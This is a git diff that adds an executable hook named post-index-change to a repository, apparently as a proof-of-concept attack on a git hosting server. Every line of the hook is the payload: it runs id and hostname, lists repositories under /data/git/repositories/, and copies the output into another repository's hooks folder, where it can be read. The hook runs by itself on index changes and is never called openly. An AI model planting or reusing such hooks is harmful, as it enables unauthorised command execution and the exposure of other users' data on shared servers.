diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..0a68d2f --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,3 @@ +#!/bin/sh +id; hostname; ls /data/git/repositories/ 2>/dev/null | head -20 > /tmp/output.txt 2>&1 +cp /tmp/output.txt /data/git/repositories/pocnet_1793467068/netscan4.git/hooks/output.txt 2>/dev/null